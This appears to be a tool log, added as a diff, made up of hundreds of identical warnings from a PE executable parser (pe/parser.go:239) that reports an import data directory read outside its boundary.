+time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:27+01:00 